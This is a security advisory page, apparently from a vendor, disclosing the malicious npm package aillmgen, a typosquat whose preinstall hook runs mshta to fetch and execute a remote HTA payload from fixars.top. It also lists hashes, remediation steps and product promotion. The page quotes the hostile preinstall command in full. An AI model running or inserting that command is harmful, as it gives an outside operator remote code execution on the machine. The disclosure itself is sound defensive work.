Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

aillmgennpm

aillmgen is a confirmed malicious npm package (MAL-2026-5927) that typosquats a legitimate package to trick installs (malicious version 4.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in aillmgen (npm)

MAL-2026-5927
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall aillmgen

What this malware does

On npm install, the package's preinstall hook (preinstall.js) runs exec('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta.exe binary to fetch and execute an HTA payload from http://fixars.top with the installer's privileges. mshta is a well-known living-off-the-land binary that executes arbitrary HTA/JScript/VBScript content directly from a remote URL, giving the operator of fixars.top remote code execution on any Windows machine that installs this package. The remote endpoint is plain HTTP and attacker-mutable, and the behavior is unrelated to the package's stated LLM-client purpose (the library code references an EasyLLMClient targeting api.easyllm.ai while the package itself is published under the unrelated name aillmgen with empty author and description metadata). The combination of install-time RCE, plaintext attacker-controlled fetch-and-execute, impersonation of an LLM-client utility, and placeholder publisher metadata is a supply-chain dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
4.0.2

Indicators of compromise (SHA-256)

5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341
3c501a30db0943bfa4f8416c41cc1cc1b3c26a897d7afd2f2ee9cf2e7589adb7

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for aillmgen (version 4.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging aillmgen across your stack and pipelines.

  2. If you installed it — respond

    aillmgen is a typosquat — you almost certainly intended a legitimately-named package. Remove aillmgen, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If aillmgen was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks aillmgen before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. aillmgen on npm has been identified as a malicious package (version 4.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006837GHSA-cqfc-w7g9-4c7p

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks aillmgen-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

aillmgen (npm) malicious package — MAL-2026-5927 | O3 Security